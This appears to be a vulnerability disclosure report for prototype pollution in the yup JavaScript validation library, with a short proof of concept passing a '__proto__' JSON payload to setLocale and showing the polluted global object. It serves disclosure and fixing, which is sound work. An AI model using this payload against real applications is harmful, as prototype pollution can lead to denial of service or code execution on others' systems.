Prototype Pollution in jquense/yup

Valid

Reported on

Oct 25th 2020


Description

yup is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Proof of Concept

  1. Create the following PoC file:
// poc.js
let yup = require('yup');
const payload = JSON.parse('{"__proto__":{"polluted":"Yes! Its Polluted"}}');
yup.setLocale(payload);
console.log({}.polluted)
  1. Execute the following commands in another terminal:
npm i yup # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Yes! Its Polluted
to join this conversation